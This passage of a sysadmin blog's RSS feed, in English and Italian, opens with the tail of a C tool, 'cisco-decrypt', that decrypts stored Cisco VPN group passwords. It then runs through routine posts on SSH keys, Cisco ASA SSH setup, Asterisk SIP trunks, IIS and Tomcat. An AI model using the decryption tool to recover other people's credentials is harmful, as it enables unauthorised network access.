</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">int</span> c_decrypt(char <span style="color:#f92672">*</span>ct, <span style="color:#a6e22e">int</span> len, char <span style="color:#f92672">**</span>resp, char <span style="color:#f92672">*</span>reslenp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> char <span style="color:#f92672">*</span>h1  <span style="color:#f92672">=</span> ct;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> char <span style="color:#f92672">*</span>h4  <span style="color:#f92672">=</span> ct <span style="color:#f92672">+</span> <span style="color:#ae81ff">20</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> char <span style="color:#f92672">*</span>enc <span style="color:#f92672">=</span> ct <span style="color:#f92672">+</span> <span style="color:#ae81ff">40</span>;
</span></span><span style="display:flex;"><span>char ht[<span style="color:#ae81ff">20</span>], h2[<span style="color:#ae81ff">20</span>], h3[<span style="color:#ae81ff">20</span>], key[<span style="color:#ae81ff">24</span>];
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> char <span style="color:#f92672">*</span>iv <span style="color:#f92672">=</span> h1;
</span></span><span style="display:flex;"><span>char <span style="color:#f92672">*</span>res;
</span></span><span style="display:flex;"><span>gcry_cipher_hd_t ctx;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">int</span> reslen;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (len <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">48</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>len <span style="color:#f92672">-=</span> <span style="color:#ae81ff">40</span>;
</span></span><span style="display:flex;"><span>memcpy(ht, h1, <span style="color:#ae81ff">20</span>);
</span></span><span style="display:flex;"><span>ht[<span style="color:#ae81ff">19</span>]<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span>gcry_md_hash_buffer(GCRY_MD_SHA1, h2, ht, <span style="color:#ae81ff">20</span>);
</span></span><span style="display:flex;"><span>ht[<span style="color:#ae81ff">19</span>] <span style="color:#f92672">+=</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span>gcry_md_hash_buffer(GCRY_MD_SHA1, h3, ht, <span style="color:#ae81ff">20</span>);
</span></span><span style="display:flex;"><span>memcpy(key, h2, <span style="color:#ae81ff">20</span>);
</span></span><span style="display:flex;"><span>memcpy(key<span style="color:#f92672">+</span><span style="color:#ae81ff">20</span>, h3, <span style="color:#ae81ff">4</span>);
</span></span><span style="display:flex;"><span><span style="color:#f92672">/*</span> who cares about parity anyway<span style="color:#960050;background-color:#1e0010">?</span> <span style="color:#f92672">*/</span>
</span></span><span style="display:flex;"><span>gcry_md_hash_buffer(GCRY_MD_SHA1, ht, enc, len);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (memcmp(h4, ht, <span style="color:#ae81ff">20</span>) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>res <span style="color:#f92672">=</span> malloc(len);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (res <span style="color:#f92672">==</span> NULL)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>gcry_cipher_open(<span style="color:#f92672">&amp;</span>ctx, GCRY_CIPHER_3DES, GCRY_CIPHER_MODE_CBC, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>gcry_cipher_setkey(ctx, key, <span style="color:#ae81ff">24</span>);
</span></span><span style="display:flex;"><span>gcry_cipher_setiv(ctx, iv, <span style="color:#ae81ff">8</span>);
</span></span><span style="display:flex;"><span>gcry_cipher_decrypt(ctx, (unsigned char <span style="color:#f92672">*</span>)res, len, (unsigned char <span style="color:#f92672">*</span>)enc, len);
</span></span><span style="display:flex;"><span>gcry_cipher_close(ctx);
</span></span><span style="display:flex;"><span>reslen <span style="color:#f92672">=</span> len <span style="color:#f92672">-</span> res[len<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>];
</span></span><span style="display:flex;"><span>res[reslen] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\0</span><span style="color:#e6db74">&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (resp)
</span></span><span style="display:flex;"><span><span style="color:#f92672">*</span>resp <span style="color:#f92672">=</span> res;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (reslenp)
</span></span><span style="display:flex;"><span><span style="color:#f92672">*</span>reslenp <span style="color:#f92672">=</span> reslen;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">int</span> main(<span style="color:#a6e22e">int</span> argc, char <span style="color:#f92672">*</span>argv[])
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">int</span> i, len, ret <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>char <span style="color:#f92672">*</span>bin, <span style="color:#f92672">*</span>pw;
</span></span><span style="display:flex;"><span>gcry_check_version(NULL);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (i <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>; i <span style="color:#f92672">&lt;</span> argc; i<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>ret <span style="color:#f92672">=</span> hex2bin(argv[i], <span style="color:#f92672">&amp;</span>bin, <span style="color:#f92672">&amp;</span>len);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (ret <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>perror(<span style="color:#e6db74">&#34;decoding input&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">continue</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>ret <span style="color:#f92672">=</span> c_decrypt(bin, len, <span style="color:#f92672">&amp;</span>pw, NULL);
</span></span><span style="display:flex;"><span>free(bin);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (ret <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>perror(<span style="color:#e6db74">&#34;decrypting input&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">continue</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>printf(<span style="color:#e6db74">&#34;</span><span style="color:#e6db74">%s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, pw);
</span></span><span style="display:flex;"><span>free(pw);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>exit(ret <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>Download: cisco<span style="color:#f92672">-</span>decrypt
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Windows - Reset resolution from registry</title>
      <link>https://www.deepreflect.net/2009/08/15/windows-reset-resolution-from-registry/</link>
      <pubDate>Sat, 15 Aug 2009 15:27:08 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=682</guid> 
      <description>&lt;p&gt;Durante una migrazione di datacenter mi è capitato di aver fuori uso la console di un server perchè la risoluzione della scheda video è fuori range del monitor, avendo accesso RDP la soluzione è presto trovata dal registro di sistema nella seguente posizione:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;My Computer\HKEY_CURRENT_CONFIG\System\CurrentControlSet\Control\VIDEO
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Trovando la stringa &amp;ldquo;Monitor&amp;rdquo; si potrebbe cambiare direttamente la risoluzione, ma personalmente ho cancellato tutto il contenuto e riavviato così facendo ha ricreato le configurazione di default.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Durante una migrazione di datacenter mi è capitato di aver fuori uso la console di un server perchè la risoluzione della scheda video è fuori range del monitor, avendo accesso RDP la soluzione è presto trovata dal registro di sistema nella seguente posizione:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>My Computer\HKEY_CURRENT_CONFIG\System\CurrentControlSet\Control\VIDEO
</span></span></code></pre></div><p>Trovando la stringa &ldquo;Monitor&rdquo; si potrebbe cambiare direttamente la risoluzione, ma personalmente ho cancellato tutto il contenuto e riavviato così facendo ha ricreato le configurazione di default.</p>
]]></content:encoded>
    </item>
    <item>
      <title>OpenSSH - Generate server key</title>
      <link>https://www.deepreflect.net/2009/08/11/openssh-generate-server-key/</link>
      <pubDate>Tue, 11 Aug 2009 22:08:55 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=680</guid> 
      <description>&lt;p&gt;OpenSSH require different keys depending if you use SSH1 or SSH2 protocol. All keys are generated by &amp;ldquo;ssh-keygen&amp;rdquo; commad, that one should be available on your system with the ssh package. Default key lengths are also appropriate (2048 bits for rsa and 1024 bits for dsa)
For SSH1 protocol, you need a rsa1 key generated has follow:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# ssh-keygen -q -f /etc/ssh/ssh_host_key -N &#39;&#39; -t rsa1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;For SSH2 protocol, you need two keys, one rsa key and one dsa key generated has follow:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>OpenSSH require different keys depending if you use SSH1 or SSH2 protocol. All keys are generated by &ldquo;ssh-keygen&rdquo; commad, that one should be available on your system with the ssh package. Default key lengths are also appropriate (2048 bits for rsa and 1024 bits for dsa)
For SSH1 protocol, you need a rsa1 key generated has follow:</p>
<p><code># ssh-keygen -q -f /etc/ssh/ssh_host_key -N '' -t rsa1</code></p>
<p>For SSH2 protocol, you need two keys, one rsa key and one dsa key generated has follow:</p>
<p><code># ssh-keygen -f /etc/ssh/ssh_host_rsa_key -N '' -t rsa</code>
<code># ssh-keygen -f /etc/ssh/ssh_host_dsa_key -N '' -t dsa</code></p>
]]></content:encoded>
    </item>
    <item>
      <title>Cisco ASA - Enable SSH</title>
      <link>https://www.deepreflect.net/2009/08/06/cisco-asa-enable-ssh/</link>
      <pubDate>Thu, 06 Aug 2009 00:32:57 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=676</guid> 
      <description>&lt;p&gt;If you have tried to setup SSH access on a new ASA, it might not have worked the way you wanted. That is because the RSA keys need to be generated first. To do that:&lt;/p&gt;
&lt;p&gt;from configure terminal:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01/act(config)# crypto key generate rsaINFO: The name for the keys will be:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Keypair generation process begin. Please wait…
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And then configure SSH to be allowed from the inside interface:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;fw01/act(config)# ssh (inser your ip) (insert your netmask) outside&lt;/code&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>If you have tried to setup SSH access on a new ASA, it might not have worked the way you wanted. That is because the RSA keys need to be generated first. To do that:</p>
<p>from configure terminal:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>fw01/act(config)# crypto key generate rsaINFO: The name for the keys will be:
</span></span><span style="display:flex;"><span>Keypair generation process begin. Please wait…
</span></span></code></pre></div><p>And then configure SSH to be allowed from the inside interface:</p>
<p><code>fw01/act(config)# ssh (inser your ip) (insert your netmask) outside</code></p>
<p>Now you can configure AAA and setup your own username.</p>
<p>First, a username needs to be created:</p>
<p><code>fw01/act(config)# username leonardo password mypassword privilege 15</code></p>
<p>And then configure AAA:</p>
<p><code>fw01/act(config)# aaa authentication ssh console LOCAL</code></p>
]]></content:encoded>
    </item>
    <item>
      <title>Vim - Fix arrow keys that display A B C D on remote shell</title>
      <link>https://www.deepreflect.net/2009/07/22/vim-fix-arrow-keys-that-display-a-b-c-d-on-remote-shell/</link>
      <pubDate>Wed, 22 Jul 2009 10:57:23 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=668</guid> 
      <description>&lt;p&gt;A little fix for arrow keys in Vim, that display A B C D on remote terminal if in the system you don&amp;rsquo;t wanna declare &amp;ldquo;TERM&amp;rdquo; just insert into yout ~/.vimrc the terminal type like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;set term=xterm
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<p>A little fix for arrow keys in Vim, that display A B C D on remote terminal if in the system you don&rsquo;t wanna declare &ldquo;TERM&rdquo; just insert into yout ~/.vimrc the terminal type like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>set term=xterm
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Cool Tools for OpenSPARC</title>
      <link>https://www.deepreflect.net/2009/07/21/cool-tools-for-opensparc/</link>
      <pubDate>Tue, 21 Jul 2009 03:09:16 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=409</guid> 
      <description>&lt;p&gt;Optimized Applications for Solaris OS and OpenSparc computing.&lt;/p&gt;
&lt;p&gt;Simple and very useful example is &amp;ldquo;Cool Stack&amp;rdquo; a web deployment packge include most commonly used free and open source applications, recompiled to deliver a 30 to 200 percent performance improvement over standard binaries compiled with GCC.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://cooltools.sunsource.net/&#34;&gt;Cool Tools&lt;/a&gt;.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Optimized Applications for Solaris OS and OpenSparc computing.</p>
<p>Simple and very useful example is &ldquo;Cool Stack&rdquo; a web deployment packge include most commonly used free and open source applications, recompiled to deliver a 30 to 200 percent performance improvement over standard binaries compiled with GCC.</p>
<p><a href="http://cooltools.sunsource.net/">Cool Tools</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>CSW packaging</title>
      <link>https://www.deepreflect.net/2009/07/21/csw-packaging-home/</link>
      <pubDate>Tue, 21 Jul 2009 02:52:08 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=419</guid> 
      <description>&lt;p&gt;Memo: Solaris package.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.opencsw.org/&#34;&gt;CSW packaging home&lt;/a&gt;.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Memo: Solaris package.</p>
<p><a href="http://www.opencsw.org/">CSW packaging home</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Satellite</title>
      <link>https://www.deepreflect.net/2009/07/18/satellite/</link>
      <pubDate>Sat, 18 Jul 2009 05:06:15 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=525</guid> 
      <description>&lt;p&gt;[caption id=&amp;ldquo;attachment_524&amp;rdquo; align=&amp;ldquo;alignleft&amp;rdquo; width=&amp;ldquo;512&amp;rdquo; caption=&amp;ldquo;9° Est&amp;rdquo;]&lt;img alt=&#34;9° Est&#34; loading=&#34;lazy&#34; src=&#34;https://www.deepreflect.net/wp-content/uploads/2009/07/9e.JPG&#34;&gt;[/caption]&lt;/p&gt;
&lt;p&gt;Recentemente ho rifatto i puntamenti di alcune parabole, qui in particolare il grafico dello spettro del satellite Eurobird 9° Est (Ex Hotbird 2 ora riposizionato) facente parte della flotta Eutelsat.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>[caption id=&ldquo;attachment_524&rdquo; align=&ldquo;alignleft&rdquo; width=&ldquo;512&rdquo; caption=&ldquo;9° Est&rdquo;]<img alt="9° Est" loading="lazy" src="/wp-content/uploads/2009/07/9e.JPG">[/caption]</p>
<p>Recentemente ho rifatto i puntamenti di alcune parabole, qui in particolare il grafico dello spettro del satellite Eurobird 9° Est (Ex Hotbird 2 ora riposizionato) facente parte della flotta Eutelsat.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Asterisk - Eutelia SIP</title>
      <link>https://www.deepreflect.net/2009/07/18/asterisk-eutelia-sip/</link>
      <pubDate>Sat, 18 Jul 2009 04:55:08 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=521</guid> 
      <description>&lt;p&gt;Questo risulta essere un argomento un po&amp;rsquo; delicato sopratutto sconsigliato a chi non ha un minimo di dimestichezza con asterisk, dal momento che non mi dilunghero troppo in spiegazioni sul funzionamento ma darò indicazioni essenziali e basta.&lt;/p&gt;
&lt;p&gt;Chiunque abbia provato ad usare asterisk su eutelia una volta skypho è sicuramente incappato in qualche problema sia sulla parte di registrazione sia sulla parte di streaming dei flussi rtp, la spiegazione di tutto ciò è abbastanza semplice eutelia appoggia il sistema sip che distribuisce ai cliente utilizzando il Cisco SIP Gateway, lo si può capire velocemente facendo debug. Questa soluzione spesso non è molto propensa a dialogare con asterik in modo standard, pertanto se state usando interfacce GUI o soluzioni embedded potete smettere di leggere perchè la maggior parte delle volte è impossibile uscire dagli schemi imposti.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Questo risulta essere un argomento un po&rsquo; delicato sopratutto sconsigliato a chi non ha un minimo di dimestichezza con asterisk, dal momento che non mi dilunghero troppo in spiegazioni sul funzionamento ma darò indicazioni essenziali e basta.</p>
<p>Chiunque abbia provato ad usare asterisk su eutelia una volta skypho è sicuramente incappato in qualche problema sia sulla parte di registrazione sia sulla parte di streaming dei flussi rtp, la spiegazione di tutto ciò è abbastanza semplice eutelia appoggia il sistema sip che distribuisce ai cliente utilizzando il Cisco SIP Gateway, lo si può capire velocemente facendo debug. Questa soluzione spesso non è molto propensa a dialogare con asterik in modo standard, pertanto se state usando interfacce GUI o soluzioni embedded potete smettere di leggere perchè la maggior parte delle volte è impossibile uscire dagli schemi imposti.</p>
<p>Ora il problema:
capita che registrando due o più trunk con numerazione in ingresso nonostante la definizione di context diversi per ogni numero, la chiamata diretta a numeri differenti segua sempre la stessa strada anche definendo DID e non facendo Catchall sul trunk/context stesso; questo succede perchè tutto il flusso in arrivo da eutelia viene riconosciuto e inoltrato sul primo trunk che si registra presso il gateway.
Fra le possibili soluzioni ci sarebbe avere un ip pubblico per trunk oppure come letto in giro per la rete modificare la porta da 5060 a 5061 e così via.. Certo sono soluzioni possibili ma per niente pratiche e a volte poco stabili.</p>
<p>La soluzione testata e affidabile usando 4 trunk è la seguente:
-premessa sullo scenario nel mio caso il pbx è nattato utilizzando un ip pubblico statico, ma la stessa soluzione è testata anche su un pbx con ip pubblico in routing senza nat.
-nelle configurazioni i numeri sono oscurati ommettendo le ultime tre cifre con XXX e al posto delle password è inserita la parola &ldquo;mysecret&rdquo;</p>
<p>Prima cosa definiamo il trunk e il context principale nel file /etc/asterisk/users.conf qui è importante definire il primo trunk o quello preferito per le chiamate in uscita dato che lo stesso context può essere usato anche per quello.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>[eutelia]
</span></span><span style="display:flex;"><span>type = friend
</span></span><span style="display:flex;"><span>srvlookup = yes
</span></span><span style="display:flex;"><span>realm = voip.eutelia.it
</span></span><span style="display:flex;"><span>username = 0245071XXX
</span></span><span style="display:flex;"><span>secret = mysecret
</span></span><span style="display:flex;"><span>fromuser = 0245071XXX
</span></span><span style="display:flex;"><span>fromdomain=voip.eutelia.it
</span></span><span style="display:flex;"><span>qualify = yes
</span></span><span style="display:flex;"><span>insecure = port,invite
</span></span><span style="display:flex;"><span>host = voip.eutelia.it
</span></span><span style="display:flex;"><span>context = from-eutelia
</span></span><span style="display:flex;"><span>nat = yes
</span></span><span style="display:flex;"><span>canreinvite = no
</span></span><span style="display:flex;"><span>disallow = all
</span></span><span style="display:flex;"><span>allow = ulaw
</span></span><span style="display:flex;"><span>allow = alaw
</span></span><span style="display:flex;"><span>useragent=Asterisk_Eut
</span></span></code></pre></div><p>Successivamente definiamo la registrazione dei numeri aggiuntivi nel file /etc/asterisk/sip.conf:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>register =0245071XXX:mysecret@eutelia/0245071XXX
</span></span><span style="display:flex;"><span>register =0245072XXX:mysecret@eutelia/0245072XXX
</span></span><span style="display:flex;"><span>register =0245073XXX:mysecret@eutelia/0245073XXX
</span></span><span style="display:flex;"><span>register =0245074XXX:mysecret@eutelia/0245074XXX
</span></span></code></pre></div><p>Ora l&rsquo;ultima fase definiamo dove far andare le chiamate e dove farle uscire, questo nel file /etc/asterisk/extensions.conf</p>
<p>#DID in ingresso dal context di eutelia qui definiamo dove dirottare le chiamate, nel primo esempio vanno ad un gruppo di chiamata, nel secondo ad un voice menu, nel terzo ad un exetension SCCP e infine nel quarto ad un extension SIP</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>[from-eutelia]
</span></span><span style="display:flex;"><span>exten =0245071XXX,1,GoTo(ringroup1,s,1)
</span></span><span style="display:flex;"><span>exten =0245072XXX,1,GoTo(voicemenu1,s,1)
</span></span><span style="display:flex;"><span>exten =0245073XXX,1,Dial(SCCP/114)
</span></span><span style="display:flex;"><span>exten =0245074XXX,1,Dial(SIP/112)
</span></span></code></pre></div><p>Ora per definire le chiamate in uscita dovete andare nel vostro context principale in cui sono definite le regole per le extension e il dialplan, tipicamente lo riconoscete perché è quello definito nel file user all&rsquo;interno delle singole extension, nel mi caso di chiama &ldquo;DialPlan01&rdquo;</p>
<p>#Questo formato inoltra qualsiasi chiamata preceduta dal condice di impegno della linea &ldquo;0&rdquo; sul trunk eutelia ovviamente rimuovenlo prima dell&rsquo;inoltro:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>[DialPlan01]
</span></span><span style="display:flex;"><span>exten = _0.,1,Dial(SIP/eutelia/${EXTEN:1})
</span></span><span style="display:flex;"><span>exten =112,1,dial(SIP/112)
</span></span><span style="display:flex;"><span>exten =114,1,dial(SCCP/114)
</span></span></code></pre></div><p>Ammetto che lo &ldquo;0&rdquo; per l&rsquo;impegno delle linee è una cosa abbastanza antiquata derivata dai vecchi pbx a cui in parte sono ancora affezzionato, è possibile benissimo definirla in questo modo:</p>
<p><code>exten = _.,1,Dial(SIP/eutelia/${EXTEN})</code></p>
<p>In modo che tutte le chiamate non locali vengano inoltrate direttemente sul trunk.</p>
]]></content:encoded>
    </item>
    <item>
      <title>IIS Socket Pooling</title>
      <link>https://www.deepreflect.net/2009/07/18/iis-socket-pooling/</link>
      <pubDate>Sat, 18 Jul 2009 04:06:28 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=484</guid> 
      <description>&lt;p&gt;C&amp;rsquo;è una cosa brutta da sapere e si scopre quando per caso proviamo ad installare un servizio in ascolto sulla porta 80 su windows che ha già attivo per sfortuna nostra IIS, si chiama socket pooling, infatti automaticamente iis decide di essere in ascolto su tutti i socket quindi ogni indirizzo configurato sulla macchina, impedendo l&amp;rsquo;avvio di qualsiasi altro servizio (es. apache) anche se apparentemente configurato correttamente.&lt;/p&gt;
&lt;p&gt;Per ovviare a questo problema ecco come fare:
-Prima di tutto installate i support tools, dove sono? Inserite il cd nella directory \Support\Tools trovate un pacchetto suptools.msi
-Ora potete procedere:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>C&rsquo;è una cosa brutta da sapere e si scopre quando per caso proviamo ad installare un servizio in ascolto sulla porta 80 su windows che ha già attivo per sfortuna nostra IIS, si chiama socket pooling, infatti automaticamente iis decide di essere in ascolto su tutti i socket quindi ogni indirizzo configurato sulla macchina, impedendo l&rsquo;avvio di qualsiasi altro servizio (es. apache) anche se apparentemente configurato correttamente.</p>
<p>Per ovviare a questo problema ecco come fare:
-Prima di tutto installate i support tools, dove sono? Inserite il cd nella directory \Support\Tools trovate un pacchetto suptools.msi
-Ora potete procedere:</p>
<p>Definizione dello scenario in questo caso un server con windows con i seguenti ip:
xxx.xxx.xxx.xxx (destinato a iis)
yyy.yyy.yyy.yyy (destinato ad altro webserver)</p>
<p>from cmd (support tool shell):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> #settiamo l&#39;ip in ascolto di iis
</span></span><span style="display:flex;"><span> httpcfg set iplisten -i xxx.xxx.xxx.xxx
</span></span><span style="display:flex;"><span> #eliminiamo l&#39;ascolto di iis su questo ip
</span></span><span style="display:flex;"><span> httpcfg delete iplisten -i yyy.yyy.yyy.yyy
</span></span><span style="display:flex;"><span> #verifichiamo di non aver fatto errori
</span></span><span style="display:flex;"><span> httpcfg query iplisten
</span></span><span style="display:flex;"><span> #riavviamo il tutto per rendere effettive le modifiche
</span></span><span style="display:flex;"><span> net stop http /y
</span></span><span style="display:flex;"><span> net start w3svc
</span></span></code></pre></div><p>Nota: queste operazioni sono testate su IIS6 quindi sulle piattaforme Windows 2003 (tutte le versioni) non posso garantire il funzionamento identico su 2008</p>
]]></content:encoded>
    </item>
    <item>
      <title>Miaoo - Tomcat su Debian</title>
      <link>https://www.deepreflect.net/2009/07/18/miaoo-tomcat-su-debian/</link>
      <pubDate>Sat, 18 Jul 2009 03:40:09 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=493</guid> 
      <description>&lt;p&gt;Breve draft su come installare tomcat su debian, in questo caso lenny, le versioni dei pacchetti potrebbero cambiare ma il risultato finale è quello.&lt;/p&gt;
&lt;p&gt;Partiamo installando quello che ci serve:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;#apt-get install tomcat5.5 tomcat5.5-admin sun-java5-jdk tomcat5.5-webapps&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Attenzione, se l&amp;rsquo;installazione debian di default sicuramente non trovo il java jdk, è necessario quindi aggiungere il repository non-free, in apt editando in questo modo: /etc/apt/source.list&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;deb http://your-mirror-url/debian/ lenny main non-free
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;deb-src http://your-mirror-url/debian/ lenny main non-free
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Configurare il sistema per utilizzare java&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Breve draft su come installare tomcat su debian, in questo caso lenny, le versioni dei pacchetti potrebbero cambiare ma il risultato finale è quello.</p>
<p>Partiamo installando quello che ci serve:</p>
<p><code>#apt-get install tomcat5.5 tomcat5.5-admin sun-java5-jdk tomcat5.5-webapps</code></p>
